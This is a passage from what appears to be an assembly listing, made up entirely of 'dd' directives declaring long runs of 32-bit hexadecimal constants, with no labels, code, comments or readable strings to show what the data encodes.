		dd 1D824092h, 70599h, 35FD0C1Fh, 4034BC27h, 1E7F6C4h, 43A574CDh
		dd 78EF0Dh, 1DBE0A3h, 11FABD24h, 2F05D32Dh, 0CE0BC2Ch
		dd 8A6B8FB5h, 6D099D61h, 2BFCF4A1h, 0B200D7FCh,	1E8C54A9h
		dd 135E271Fh, 69B8582h,	0D0207570h, 0E2873BD9h,	1B007973h
		dd 0F0BE108Bh, 742F68h,	8A559A8Dh, 410F0524h, 0B57E1E05h
		dd 84ACC584h, 0D19A4B00h, 135A90C1h, 9FA17800h,	40D317B7h
		dd 7BF60002h, 9049DD96h, 71CA2E57h, 3A0150D7h, 60FACE83h
		dd 0F4150160h, 9459C129h, 6D3BD2E5h, 7CB48040h,	0ABE6CAh
		dd 83FEB801h, 0A908F6A5h, 0AF53F300h, 0F8103245h, 490B00CAh
		dd 0DFB093FFh, 0A9A021DCh, 2E3BEEA0h, 0D6D3805Dh, 0ED2325BCh
		dd 0CCD20030h, 1B96020h, 0BB784B52h, 8C2FE61Ch,	1FF79440h
		dd 5CD688C7h, 0A800738Bh, 0AA5C9C26h, 56000A24h, 7D5B6F34h
		dd 2A82ECh, 3BC25AD5h, 6DE487B1h, 0B6069200h, 71FEE515h
		dd 0FFD10068h, 0CBA361Ah, 0D6008ADCh, 93D459B4h, 60B01291h
		dd 8E606883h, 2B07FE23h, 9515D96Fh, 0F7BDAB30h,	2FB40C18h
		dd 1E285E3Ah, 15B7339h,	86677A17h, 9A606531h, 0E10C00A5h
		dd 0C3AF8F79h, 0DEFC6256h, 83F25772h, 9ABD7F17h, 0AFE8CC00h
		dd 7901AA5h, 63E35C9Dh,	9BC1067h, 4F5CFE9Ch, 1B0070D8h
		dd 0F580E2AEh, 37FD51Ah, 0B1138A3Ah, 5ECFC251h,	2148B060h
		dd 0D0284F29h, 67008F1Eh, 0E6B34C99h, 0F2CE614Bh, 7C6838CCh
		dd 0F3F74FCh, 3683650Bh, 5720ADCFh, 25BA673Ch, 27B6E401h
		dd 14D0E2Dh, 0A5229880h, 8895EE57h, 3D895400h, 4FF0DACCh
		dd 0A9730063h, 0ECF35D4Bh, 497D879Ah, 4A537C00h, 6FA0033Ch
		dd 7B0119F8h, 0D0836843h, 180051D7h, 3C25A7D4h,	7CC99A6Dh
		dd 6970FBh, 5C4C0409h, 713F17D8h, 0DFCD4B00h, 2CE1EB90h
		dd 793800BCh, 69ECD392h, 8216289Eh, 2A00B6BBh, 0CF6A5CD0h
		dd 57B3F6Eh, 0B5C29C80h, 0D879948Dh, 0D5A38B00h, 18160C93h
		dd 7A09002Fh, 7C3AE677h, 0E10C5F42h, 0E2F9943Fh, 768C0068h
		dd 0D9CC7F4h, 0B90EAFBEh, 6A1119F2h, 0D70088B5h, 0D5D43D70h
		dd 0CF10D4B4h, 37047301h, 207EFF14h, 0F400240Ch, 9ABF3120h
		dd 58CDE03h, 66F111D8h,	6FBC82BAh, 98623760h, 0F8F8322Fh
		dd 1D06001Dh, 0AF26DE88h, 8B00A652h, 0FF551C21h, 80AAB9h
		dd 0C4D54392h, 52E06653h, 464EA71Fh, 0E889C600h, 506C32DCh
		dd 0FF0D671h, 54C19209h, 894BABE0h, 0CC5C0183h,	0A230069h
		dd 12131F24h, 74D83092h, 0CECDA7B0h, 70252E3Fh,	70C1D4E9h
		dd 8421A600h, 0F4425E0Ch, 1E7318h, 0D3E99243h, 87B901DDh
		dd 0DE648300h, 9DC73321h, 1FA67418h, 23DBBEh, 0F7A95F6Bh
		dd 0FD0719F8h, 3D821657h, 69C5DF60h, 787D00A7h,	9726CDCBh
		dd 2100ADEBh, 0C61A07C2h, 3C8969Eh, 0D5693655h,	0F9900999h
		dd 45003A32h
		dd 654E9C1Dh, 7E9CF3Eh,	1C485979h, 25978022h, 0B0156ADh
		dd 0A5754DB7h, 2F603FD9h, 0B8090077h, 8BDC42EAh, 817B947Fh
		dd 5A50B300h, 66652306h, 0F6C609A5h, 60A022D0h,	0D1B843B1h
		dd 0EDCC5F00h, 4FDAB563h, 294712D9h, 0C99F0012h, 38A8C445h
		dd 80720C3Dh, 1828B2F3h, 2A58151h, 12D26B83h, 14404694h
		dd 0FF0065CBh, 20E81F61h, 0FC8E5B25h, 0F9410028h, 0C85EB4A5h
		dd 0FE0054C0h, 2C87E1B1h, 58B9BC7Ah, 720164E0h,	0D88B86A6h
		dd 3AD88E4Ah, 7E1A0096h, 1DAF821Bh, 8039CD83h, 68257B29h
		dd 891F6CACh, 9840F521h, 62D154A4h, 16390030h, 0B409B966h
		dd 0BB00DB7Dh, 0ECF2E20Fh, 5EFAEBh, 0DFD92BE9h,	8B435269h
		dd 0B66E0B0Eh, 560E0099h, 329438h, 0CFE96B23h, 0E33C37C4h
		dd 30612700h, 5FFC702h,	216514A2h, 0D300E6EFh, 0EB1E78Ah
		dd 0C490FD43h, 830C9700h, 83766DDh, 33CE273Fh, 0D8DE0A41h
		dd 0EE39CC21h, 839B000Fh, 0C707011Ah, 467166h, 0E7BEF4D4h
		dd 7E240974h, 8B5BD00h,	5BD90FC0h, 55E200F9h, 20AB8BA5h
		dd 0E3003350h, 0B39AADBCh, 0B8D5951Ch, 3FDA3F7Ch, 0C741B700h
		dd 0CC434615h, 2DBA6F00h, 0D9625A77h, 0A55E004Bh, 12EF57EDh
		dd 0B6FAB055h, 0F5EA3700h, 0B2D53F01h, 0CEA3000Ch, 2BCB3D6Bh
		dd 281E807Dh, 0BF00C224h, 40077B09h, 0FE3201D7h, 2A65EFB5h
		dd 4FB8F479h, 93D1C301h, 0BE8F9924h, 5EE4F461h,	52DE00AEh
		dd 0ECC0FD8Bh, 940BFB2Bh, 17EE5Bh, 79B9A544h, 7D74AEh
		dd 7820994Dh, 4AA74E71h, 9F3D1E90h, 29386Eh, 61FA1D74h
		dd 0E858ECA6h, 83E100BBh, 81E7A746h, 0E900555Ch, 3C2C4EFBh
		dd 315185h, 0B70322Fh, 0ED773407h, 6AE00300h, 0F4E7121Ch
		dd 0FC8A76ACh, 0CE1403A4h, 2E52B41Ah, 208D1003h, 0E0987D63h
		dd 1F380A4Bh, 9DBDA1h, 80230721h, 85007E2Dh, 0A58FD578h
		dd 0E5F4A079h, 0C1092180h, 6B7DBFCDh, 22002DE4h, 1071694Ch
		dd 3CD9A0D3h, 218001A7h, 0AED1D4E2h, 0D51EA2B3h, 0CAC08A1Ch
		dd 56CD2A77h, 0A878008Bh, 197D349Eh, 2218FC6Eh,	98A12D81h
		dd 600BF814h, 13C8B8C6h, 0D800280Eh, 95DE7819h,	61772BD6h
		dd 989B4165h, 7088A0D9h, 9DB9A600h, 0B51B2616h,	0A2574E2h
		dd 0FC0214B1h, 2E4D8774h, 0D579807Eh, 333EB0EFh, 0D8F10E69h
		dd 4523E0C6h, 742B8A26h, 0B1BC0196h, 8535AD57h,	0A93EF838h
		dd 2F127800h, 0A53C8E68h, 28397CA2h, 3ECD1E94h,	5100A0DBh
		dd 0ACE05993h, 38C45461h, 386A957h, 568E00A8h, 0C5C01EBEh
		dd 0AA00A0DAh, 9639C679h, 36CD07A6h, 404820F0h,	17CE420h
		dd 0AD143406h, 0E0338EDCh, 0B060D67Ah, 7B1A8D29h, 0BE1C38Ch
		dd 3D98D0F0h, 0FB33F896h, 1EC218A1h, 30AC0709h,	0F03CE089h
		dd 4D5080FFh, 0B99C8EB4h, 9470C06Dh, 0F17D35CEh, 719A9F1Dh
		dd 0E2032028h, 0A863340Dh, 0BC5F8D19h, 5D884680h, 0F17F5ACh
		dd 9FBE6A8Eh, 297D809Fh, 0B1FDF808h, 6060D0h, 0EB2D184Fh
		dd 390EF9B7h, 680FAD02h, 0A6C03070h, 0B14E6A0Ah, 0FA1E1003h
		dd 80813D06h, 5DCAD0h, 2204A530h, 2A4F5EDFh, 0B5934600h
		dd 3D6F03CBh, 0A6441761h, 11D84h, 0FF87C049h, 940183A7h
		dd 50AD8FD9h, 4AD8E568h, 5198A2h, 9D10175h, 4E47B06Dh
		dd 3C00D2FCh, 57C6192Ah, 161E8EAh, 0D8109872h, 0F059A81Ah
		dd 0DA0A4234h, 8C11F9AEh, 2B704D80h, 939AA4h, 1EAA6A3Dh
		dd 0A3781A7Eh, 0DD09CA8h, 225CCB03h, 0A081527Dh, 0C35A0E56h
		dd 14AE1A40h, 40A8EADFh, 1DE264F1h, 331F267Ah, 0FD41742Dh
		dd 8C6D951Ah, 5E29508Ch, 1BDA408h, 0CAE1F66Bh, 0B551FC0h
		dd 2FE24C24h, 4B22EE80h, 0A0CE773h, 50D69EBBh, 1A1600B2h
		dd 0FAB0AA10h, 49118539h, 0F005B2Ah, 946E44E5h,	8F1D575Fh
		dd 0DD0FA243h, 0CE118020h, 2497B4DCh, 1E76E9Dh,	0F02E5659h
		dd 28E9B89Ah, 57909E14h, 0A3F3A605h, 9420F89Ch,	0EC9FEDE2h
		dd 3CC40F8Bh, 0FA04FB3h, 6A2951D4h, 248181C0h, 0D55942h
		dd 0CEF302CBh, 84FCA3F2h, 454E8600h, 0B13B5549h, 666B01E2h
		dd 0F06F0CB7h, 173C20F8h, 3AAD1E3Ah, 5400FC07h,	7E92A731h
		dd 150CF9Eh, 0FCF2C6B6h, 0A11CE03Dh, 4D500411h,	51023E54h
		dd 292DD703h, 0CAB8322Bh, 0B039094h, 3AF074DBh,	0E7B0CF89h
		dd 17DFAAA9h, 785D5B7h,	7065F673h, 7CB993Ah, 98B6DC0Fh
		dd 1CBF46Ah, 8D8AAA04h,	0C970D3C8h, 6F9857h, 15A261EFh
		dd 8C554D16h, 0ACEC5000h, 0C978D404h, 56421263h, 0DCC200CEh
		dd 128EABB2h, 0A78B8F00h, 0F194C6B7h, 2840765h,	0D7C0E5h
		dd 298252F9h, 0E9019E79h, 0C3C4573Dh, 4EE0F37Bh, 393E00B0h
		dd 0E7A8285Fh, 7F0E4692h, 1F63B28Ah, 3486545h, 21EF40C0h
		dd 8629001Dh, 1A95B31h,	0AA005D37h, 54C9BBFEh, 3F478142h
		dd 6E939002h, 7490330h,	0C5A04DD4h, 0A4E49FE4h,	52386C03h
		dd 0D84BFAC0h, 789A1Fh,	9984AF91h, 3537E658h, 0ED0E3B00h
		dd 0DA6157F1h, 11E00B8h, 0AAFE8CD5h, 33003DA1h,	0E82313FAh
		dd 3FB0AE8Fh, 7AC5D9Fh,	0E3AF07C1h, 91CFD0A6h, 59B8B406h
		dd 6B882660h, 1B5C18Ch,	95215390h, 40C4BFA7h, 35CF7EF0h
		dd 76F52F09h, 77508047h, 0EEE9CE2h, 0B52AF156h,	95AF922Fh
		dd 3C20270Eh, 0ECBBD79Eh, 1C376401h, 0EECDE85Fh, 0E7D0D440h
		dd 0B0B800E4h, 6831A098h, 2D00F83Ch, 6E653803h,	32707B3h
		dd 7B98DB87h, 0DD9844A7h, 6030E5B0h, 0B3D7988Ah, 0B8580C6h
		dd 0FF729A1Dh, 6719B00h, 4C796E0Dh, 2800ACF7h, 0A8491101h
		dd 6A3F5A2Ah, 700B8E45h, 750E876Fh, 7CCD3811h, 1792020h
		dd 846C460Fh, 30E5FAF3h, 0B3008E24h, 771EECEFh,	3066BFE1h
		dd 0E426A486h, 0DE908FC3h, 87744B1Ch, 9BDF9240h, 0A4647Dh
		dd 1460E7A6h, 0E382EC68h, 9D3F1803h, 0F0FE2399h, 759EBA5h
		dd 0F46487B1h, 0CD182073h, 0F00110A9h, 0F22694BEh, 66F8BF7Fh
		dd 0E8C56581h, 9A5C4034h, 9C21F96Ch, 3098900h, 0A05A7601h
		dd 7115143Dh, 0D400B866h, 0F6DDCCEDh, 0E8E8E542h, 0F44EE100h
		dd 72043986h, 1DBB0094h, 3D1A756Ah, 19747420h, 44CC4900h
		dd 1D68C53h, 31601E0Ch,	0F1CF430Eh, 7D88DA8Bh, 7B30B5A1h
		dd 0FFAF781Dh, 0AA5F0025h, 0DC909968h, 60F3FCD3h, 2D00AC9Ah
		dd 9BA51285h, 0E98CCF23h, 42C50ECh, 0F0945EAh, 4220C3F5h
		dd 4446A3F0h, 1FFDB8C7h, 0E5C45390h, 60B97DB4h,	0F44AF90Ch
		dd 920C6227h, 0E9A7032Fh, 0C5EF00D2h, 0E07D870Fh, 10713A44h
		dd 4C45B303h, 0C0B2C33Bh, 8947C8h, 276874FEh, 96418C22h
		dd 45995A07h, 0B12017A6h, 0EC9BF2C4h, 21BB009Eh, 7F912216h
		dd 0BF002419h, 0C4662E90h, 45D280h, 0C028A7D6h,	3E683935h
		dd 9B81F300h, 73D48FFDh, 11EA0008h, 0FA195CFCh,	4F01221Fh
		dd 36B620F6h, 7180F275h, 0C0CED88Dh, 0D67122C6h, 0AF2CCD28h
		dd 11AEBE00h, 51EED2F3h, 10F70080h, 0C409694Dh,	3700B8FCh
		dd 4927B96h, 7FC2674Eh,	0F6B0B9h, 87E82F3Ah, 66962179h
		dd 72A1C91Ch, 5300FC1Dh, 70FF5D20h, 0B67B00BDh,	0D6D0C2AAh
		dd 30C0F482h, 0FAE265ADh, 76490025h, 3528869Ch,	7C3C3355h
		dd 4D538092h, 5C4AD8B0h, 29F70F1Dh, 0D360D63Dh,	0B73FA858h
		dd 77031006h, 5073A2h, 39E0A15Fh, 0BD9278EBh, 107AAD00h
		dd 0E67ED646h, 491700DAh, 0F3E3D42Ch, 23004FEDh, 0E8749212h
		dd 0A6AA41h, 0CFB084A7h, 13106508h, 156C0E00h, 1295A319h
		dd 71D6266Ah, 0B7930334h
		dd 1898D0E6h, 72EE2CC9h, 0CC5E4A05h, 0D40FD3ECh, 58A900A4h
		dd 986FF0h, 42E5CAF5h, 662417Ch, 473D9914h, 52800D8h, 0ED24D22Ch
		dd 6622004Eh, 82408B5Ch, 43149C39h, 0E2AFA4h, 0A1A21604h
		dd 1A7AC6Ch, 74B187A8h,	0E554D517h, 62662098h, 8AFF5100h
		dd 769B5C95h, 1C700E2h,	0AA7BC881h, 0B000B4E9h,	0B162B97Fh
		dd 8B90D5h, 5EFD13C0h, 0F146111h, 0D5C4502h, 418178BAh
		dd 0EC70C938h, 98CD241Bh, 91BB00D2h, 9D42081Fh,	8F437114h
		dd 0D3A90084h, 0B640A8A0h, 81E000B9h, 282DC277h, 0E95C7366h
		dd 0C6D100F4h, 0CEEC1D69h, 9F5C1FF5h, 6CD5C095h, 0FAD44A6h
		dd 0BE039707h, 0F7A92EB5h, 8B218000h, 0A004C54Dh, 1A08C437h
		dd 830B0B80h, 860E3E63h, 603ADB00h, 39196F76h, 4559F000h
		dd 4D70DE89h, 5EF400E6h, 98EC69BBh, 0AF00A5B0h,	0A24AB7EEh
		dd 26EB2393h, 9EE330h, 0C6C8A0F2h, 5FF0C4E7h, 0BA155B00h
		dd 0D1834DACh, 617A0358h, 41D3B532h, 3CBE580Eh,	29216020h
		dd 487FE2h, 10A84488h, 9769D3Dh, 2CC7D00h, 25370FD7h, 11050098h
		dd 0DA3BAC88h, 7507A933h, 0A404E643h, 4A803A45h, 83907h
		dd 0A1E36023h, 217A444Ch, 3628D900h, 0DF1E8CA2h, 7EEE0042h
		dd 9F32299Ah, 0C5001C87h, 0CB51CD90h, 3854D0ABh, 37807438h
		dd 0F0E453A5h, 9AF24723h, 33268400h, 0B1EA315Bh, 0ADEF1E90h
		dd 7B280001h, 0F8D9AABAh, 350C2B00h, 1026A965h,	37E56h
		dd 34876E1Ah, 2D886DE3h, 528ADF0Dh, 0C2EC213Eh,	3307825h
		dd 185ADA51h, 0D8009C11h, 9E491BF5h, 78B6C74Eh,	15400A7h
		dd 5ADF0ED8h, 16FC92D5h, 42EBEE1Dh, 7E1398E4h, 6513D600h
		dd 0F9EA50h, 0FEE74B64h, 4AD4F6Bh, 0AF59620Fh, 0BA5A8006h
		dd 5EF509h, 5DFA0CB5h, 67EF13C4h, 617C000h, 7018C96Fh
		dd 0B88F3826h, 60129718h, 0C000C8D2h, 0FA2A5995h, 7F1F81Bh
		dd 0C7B51826h, 0B0A2C996h, 1880BD01h, 2EA2E194h, 23088F67h
		dd 9505B647h, 1BE2848h,	5B6AFA1Ah, 8EF6D022h, 96BFA30Ch
		dd 1D03185Dh, 802A1298h, 0D558F1E8h, 0C150C6D7h, 0E07C1938h
		dd 0DA436400h, 28A2E990h, 54BB708Fh, 819B349Ah,	50590602h
		dd 2A57E753h, 0F3A0D7C2h, 0F030C346h, 0F69D005Dh, 0B5C5BEE9h
		dd 2300D53Fh, 7B6F878Ch, 5C9B48DAh, 0D4392F7Eh,	30DCF800h
		dd 66E4E060h, 0FE3B1300h, 730841BBh, 90F7F1Ch, 0B3F4F17h
		dd 3489BD80h, 4A1F8D09h, 0C801A2Fh, 9B044146h, 37D6001Eh
		dd 6A89F487h, 7700E09Dh, 0E608A434h, 74F5A943h,	0D6AB0056h
		dd 0F6652BDFh, 1900D713h, 6E3F6836h, 0D3E6FCh, 0F2A743B5h
		dd 895C0764h, 9AFBEB0Eh, 2AE4E0A0h, 1E82B3h, 465A5E3Eh
		dd 37C08D9Fh, 306E338h,	84FFF7F0h, 0C892A0D5h, 6C1F004Dh
		dd 0AF0AE634h, 9A00022Bh, 30701762h, 898FDDh, 450C5E87h
		dd 3C96BA29h, 792C460Ah, 0F284A8D6h, 7C098EBh, 3382F9C2h
		dd 0EC08D253h, 0E4182100h, 0BE893D98h, 0B21E0036h, 75149CB7h
		dd 9600B9FBh, 7ED5DF6Eh, 1B38CE1h, 9D4C918Eh, 9B288D14h
		dd 2349D270h, 0DD012678h, 0D25B6998h, 1288EA18h, 749800D5h
		dd 507A9F3Bh, 3A0F8B5Dh, 0B30DB69Bh, 6013940Dh,	0A46A5840h
		dd 0DD3103DBh, 36A3D166h, 400428B6h, 0D92E2581h, 6BF61890h
		dd 5EE91D95h, 5711865Dh, 0F1600855h, 95531921h,	854E3E73h
		dd 77D59003h, 0F0D7151Eh, 3506935Eh, 1A3658C0h,	623FE7ACh
		dd 8D167081h, 0BEC16100h, 0F430142h, 33E8F839h,	931EC810h
		dd 0B4B6B503h, 98EC3B14h, 51BAB2h, 0B834E6BBh, 0FD5BD415h
		dd 6BF98400h, 0C09F7357h, 0B52700A6h, 2E09FE68h, 670107BAh
		dd 0D26ACCB6h, 7DD06459h, 0C0835F21h, 0A075EBF2h, 9DE3B51Bh
		dd 121F608h, 633F8FA8h,	0D0A43009h, 2330C2E5h, 55A9943Ah
		dd 3E37E68h, 83FE7DD2h,	39006F58h, 54D5BE2h, 0A53AA7h
		dd 6C3FBA62h, 4378B144h, 36023400h, 75CEB661h, 0C321007Ch
		dd 0E7F7DDEFh, 58D89EB2h, 5C846349h, 65371C7Ch,	0B3D85711h
		dd 2A0E3BCh, 0C03AEB67h, 21523015h, 62CFA5h, 7936131Eh
		dd 0D839E4D3h, 5EA08560h, 0C19B4F16h, 0B4326360h, 0F619846Ch
		dd 0DD00AC8Ah, 16FFBA54h, 118029DBh, 1F8AAA20h,	37405A3Ch
		dd 0AD2F1D8Eh, 0A1C600AEh, 5631CC14h, 4003DEAh,	0E3747C22h
		dd 32E8D58h, 0B6751A20h, 0C3C0701Bh, 0EAEAD2DFh, 32CA2A07h
		dd 710084A8h, 6CAA97h, 9B48029h, 4C5E2DDEh, 19127200h
		dd 9034C3DCh, 1C76CBh, 0E07C760Fh, 1B06F965h, 61FA1E00h
		dd 0BE773CEAh, 0BCE291h, 0F501920Eh, 0CD09AE4Fh, 759A13Fh
		dd 0DE02756Dh, 0E0790BC3h, 0EDA6CAh, 5EF3DD3Dh,	415BE814h
		dd 26B0C64Ah, 3195034Bh, 0B65780A6h, 0E0EEA790h, 7D001498h
		dd 6725C97Ch, 0F902F66h, 10E6D8CAh, 80C3B2C7h, 7332E1EEh
		dd 0A1B07EE1h, 38DFEFh,	6869E65h, 3407D8CCh, 2EE516ECh
		dd 95DDCB20h, 56650F69h, 0D80FF1FFh, 55C53D80h,	66FA11A3h
		dd 68436B36h, 3CD70030h, 0AB4DADC6h, 0C5FEC8D3h, 632B8600h
		dd 0EB44AF52h, 3D03195Bh, 0FC2580F7h, 770134DDh, 0A953C08Ah
		dd 0E70E06Dh, 0B8DF0FD5h, 48009E27h, 0BF7AD991h, 0AE12C00h
		dd 80AFA42Ah, 0F0991D1Ch, 1880BF75h, 77E9ED5Eh,	961DFA01h
		dd 3D8E82DDh, 0F639987Fh, 0CD30049h, 0A2AFC79Fh, 18C36736h
		dd 0A033417Ah, 752BF8Bh, 3FE69D64h, 752F802Eh, 3203F7C8h
		dd 0DDF91DF4h, 3E5800AAh, 0F5BF77DEh, 2F0061A4h, 0ADDCAFEFh
		dd 0FA98A6h, 65DF4C21h,	5BF0AB3Eh, 0D900DA75h, 0CB4BAE5Fh
		dd 3E2D7CDh, 17807245h,	39B091C8h, 0FE01FBD0h, 88E433CFh
		dd 69869A5Dh, 0C0F2D52Dh, 8020C1E7h, 1BC48BB0h,	0CE37312h
		dd 0BED9DC45h, 27002E18h, 0A93C9728h, 0E4141Ch,	0D0681F5Fh
		dd 7BDBEDC3h, 0A510761Dh, 0F145400Ch, 857D2A3Dh, 0E5900C90h
		dd 9D18E3B2h, 48F4EC00h, 0E6C0B6D9h, 18D70130h,	5E6AAACFh
		dd 9D8CD8D1h, 0AFC8D009h, 80288F49h, 68077254h,	0C73A002Ah
		dd 9F3817FCh, 0D37A4A43h, 0CE0516E6h, 0CF211AAAh, 0F7C9042Bh
		dd 0C0AB3A07h, 0F68AB949h, 0E3E62000h, 0B2CF12E2h, 0EBFB004Bh
		dd 0A025F792h, 40181A83h, 0F296F14h, 0F91088E3h, 889F9188h
		dd 1B896EE4h, 0C203A08h, 513D60ECh, 61808214h, 0BA4FE901h
		dd 0DA44FF46h, 0D8F1AA43h, 94984h, 0D92BE61Ah, 0BBC796ACh
		dd 0B3F6CE00h, 6D7EF15h, 340F0075h, 0A253DAF1h,	6A3D3372h
		dd 0D4DD8032h, 68284A2Dh, 83090FC1h, 99C237F7h,	80A1B57Ch
		dd 0E8DB4BB6h, 5C07E8E2h, 0C7F38C28h, 134940Ch,	0B92B7B1Dh
		dd 20DA3BF0h, 9300A385h, 5D9C0F03h, 7181E8AAh, 0D34000A8h
		dd 179D139Ah, 0E4E77001h, 42061467h, 0F33F2D63h, 0C5843841h
		dd 9CFBA980h, 46B57003h, 1F003A7Bh, 9E785428h, 0EA6C7Fh
		dd 8D28637h, 82FE3196h,	83D9C800h, 99177D2Eh, 0ED5518B5h
		dd 0CCE9C01Bh, 0D7635707h, 2D10F3EEh, 4711D8h, 4030076Eh
		dd 58C23F1Fh, 0CE316400h, 364398B0h, 0F84FE229h, 1BF00A2h
		dd 0DF349D14h, 0A9C0EFB5h, 19CED8DBh, 0FF953C1Bh, 55536700h
		dd 0F28D65E8h, 34FECDFAh, 27848C00h, 0C4526F20h, 1FBA0067h
		dd 0D862DF2Bh, 0E8004621h, 0B69F063Fh, 0FC2A14h, 0CB52D110h
		dd 82AB3DA1h, 7A67B40Fh, 0FD06E07Ch, 0C0DDE1h, 7D116DA2h
		dd 0DEDFD22Ah, 37F64A00h, 0D4EE4836h, 52E100DCh, 70537F8Ch
		dd 1D0FB4A8h, 0E7E9BCA0h, 84F1D359h, 0F07F5F4Bh, 5300A6F6h
		dd 0AA366B5Ch, 1C23EB4Ah, 8B9407h, 7E30BA26h, 8505AE0Bh
		dd 2595BCB3h, 32CDA800h, 0AB6E15h, 0E8F084Fh, 0D4B1E1A7h
		dd 0CC34930Ch, 6EE2C4Bh, 3BAA0BD6h, 5B006C4Ch, 7664962Dh
		dd 0E64AB88Dh, 6FDA3A69h, 0CE047D80h, 0E2D02772h, 15AEAC13h
		dd 2A0E7C07h, 0E73B4780h, 0D8B893h, 84733482h, 0B7EF51FBh
		dd 0CB0715E6h, 83B6BFDEh, 854B6B10h, 92410027h,	0DBEF5433h
		dd 0CA011588h, 3E22E701h, 2CF8C04Bh, 5FEA1DB0h,	107983BBh
		dd 0D2D0C6F0h, 0CC00BD41h, 0EB9BB3F4h, 90D1E27h, 0BF305F9Dh
		dd 0F687BD00h, 0DB0F480Eh, 40ADE210h, 916C1974h, 0D9FB0069h
		dd 0CD2881D0h, 140166C5h, 419B5867h, 0ECC82E6Dh, 290C0013h
		dd 5A728FCFh, 3100988Bh, 1DE571A1h, 0E6CEE06h, 0C1FCE30h
		dd 29B04420h, 2A005F92h, 77871D31h, 7140407h, 5E52A8DBh
		dd 4A78A01Fh, 0E6074BEAh, 6DADA094h, 5CC09144h,	11557D2h
		dd 79132C8Eh, 0E4307FB5h, 6A77F8DCh, 854CEE00h,	0A2F90F96h
		dd 6FA2681h, 0B22C0046h, 0C744C6BBh, 58257E09h,	88B800A6h
		dd 9820BA21h, 5DF90910h, 0A0C0D9h, 788F64BDh, 3E857312h
		dd 0AEC0C41Ch, 33C6B5D2h, 7D89005h, 709BEECDh, 948150D9h
		dd 92007CA8h, 0CAE43452h, 65C69Fh, 0C52EA30Ch, 0AB40A9E5h
		dd 9601DE00h, 0D9080B06h, 7C430753h, 1004BB85h,	0A5E012AAh
		dd 4F3D9001h, 1739CBB2h, 0A0B4F4h, 0FF9C74ABh, 4919AE24h
		dd 5258FA1Eh, 0D45AF340h, 134E5332h, 0CC8043h, 7C8DF9F0h
		dd 0FB001516h, 616872A6h, 0F4B53C6h, 75B6DD44h,	0D01BAD7h
		dd 73CDF8CCh, 0F2AB1BD4h, 0F2C39B1h, 0ED5C1780h, 0DB3F77D2h
		dd 911E5D13h, 2079AC00h, 552E5Ah, 18ABB9C8h, 0FC05C219h
		dd 753A6D00h, 93DE3B17h, 22CB0A2h, 0E34CDB21h, 0A6E0D1F4h
		dd 62260811h, 0A803C80h, 332760A0h, 9E7700F4h, 98D3B683h
		dd 0D200794Dh, 0A55C4504h, 0F39F74h, 0EE2402B7h, 0C8F39C6h
		dd 0E19B0707h, 0B990188Eh, 0C320ACh, 0F56E3C80h, 0DAC1E8CEh
		dd 8E87EA3Bh, 40CC7407h, 3D7A7898h, 0DBE20055h,	252B0D84h
		dd 0C8FDE7F2h, 581285DCh, 0F400354Ah, 0C6C49C2Ah, 0E8824E3Eh
		dd 28950BF5h, 641C021Fh, 70F94074h, 81030059h, 6220B69Dh
		dd 8D00A0CAh, 0B4F3D0B5h, 3A8CB16h, 0CCD2B256h,	0B1DA1377h
		dd 0DA9BA43h, 0EC33E8B5h, 0BCE3FB00h, 61A71B92h, 571E3FEEh
		dd 25388800h, 0ECC8C521h, 63DEEA00h, 7026516Eh,	9C6F005Ah
		dd 4466F682h, 0C4989BD4h, 6E14FB1Eh, 1487A8CFh,	189A30CCh
		dd 2E04FF21h, 364CEFCh,	75824C44h, 9E717480h, 0E4012CE6h
		dd 6F115A3Bh, 0ACD52164h, 4A5FA8C3h, 0DBBA00FDh, 478E3782h
		dd 97001585h, 0D6C69272h, 83D441h, 5C2BFE18h, 0A8FAA389h
		dd 89FA203h, 808D219Eh,	7BAE90h, 80F9CB3Dh, 99FD186Dh
		dd 0D178A501h, 0E04C0E76h, 5DF5C8h, 95BEC3C0h, 0B53C8541h
		dd 0E71E4012h, 0A465EF07h, 8B7E93E0h, 0C0556077h, 0CE925E70h
		dd 44E1BC00h, 0BA360FCCh, 17272449h, 2FAF01B5h,	70E8434Bh
		dd 4A132434h, 0BE145CCEh, 1EA901A4h, 65937F21h,	2378F4h
		dd 0D687A2E9h, 0E315EFEEh, 0DE01F26h, 5F284000h, 49854B2h
		dd 0B770E55Ah, 0E9B09099h, 4900AD5Eh, 23D64B0Ch, 0F6F218h
		dd 0D54388Ah, 34E56C67h, 7C41C800h, 2861FAE8h, 80DE0F0Bh
		dd 0A2602B03h, 0C2164BE7h, 0C6F3602h, 78E4D90h,	2F8862C9h
		dd 67C8029h, 11CAD18h, 0FAF5200Ah, 30B1D136h, 0F77A274Ch
		dd 3870882Eh, 0F6A51501h, 48805DCEh, 0D5FE5502h, 4B00502Dh
		dd 0C79254BDh, 7B90DAEh, 7D30B177h, 66830041h, 0A7005B6Dh
		dd 72924D38h, 128A5D97h, 0C606E0h, 3AC4A300h, 54B09511h
		dd 395A0238h, 0BE43AC9Bh, 2E37A40Bh, 0B72C6084h, 0BB1286h
		dd 872634AFh, 7390F98Bh, 0AE0CF500h, 0F29C0BEFh, 10BC0036h
		dd 0F49B16A7h, 0EA0073EBh, 32D2AA6Eh, 4A88A90Eh, 1D780065h
		dd 397491F2h, 6FCA4F1Ch, 0CFDDB5C0h, 0F1217Ch, 28789995h
		dd 0BCE97BF6h, 0EB97A600h, 0C5C306DFh, 0D7E60041h, 1441EA4h
		dd 340A228Bh, 908FC2CDh, 0B2E79E3Ah, 4E981458h,	2CC700F0h
		dd 92131ECh, 0DE72BDF7h, 61A5B400h, 4E7CE24Dh, 0CF660079h
		dd 218D9CCBh, 4C5C93E0h, 807839A2h, 75375B7Ch, 0DB0B9Ah
		dd 0DC023F7Fh, 0DDB8566Ah, 73F0960Fh, 7771E004h, 0F8DF7C4h
		dd 90AE8ED8h, 0C8CD5920h, 43130455h, 3007EE9Ah,	5D90054Ah
		dd 0F34CF6Dh, 784EB39Ch, 0E10B1C82h, 79F077E3h,	3D005AD6h
		dd 0E7BB5C1Dh, 938CD7Ch, 0D56D7E0Ch, 76683010h,	0EF1A7000h
		dd 0F48A6A59h, 64981Bh,	0EAB7C0E0h, 0FBDBF362h,	6BC69000h
		dd 48549CE2h, 137000BCh, 76C07986h, 0C77A402Fh,	320B4C91h
		dd 38500359h, 3AD1A007h, 0CD150006h, 0C41C0B3Fh, 3000C40h
		dd 270191C3h, 77A9CDFh,	0BE46D826h, 992EA010h, 8E00CECBh
		dd 0FC0E2B8Ah, 0C9272Ch, 5F8FE958h, 0E495D247h,	70E09A01h
		dd 0ABCEB30Ch, 531D20h,	0D19E1B33h, 0E1497FEEh,	2120CA01h
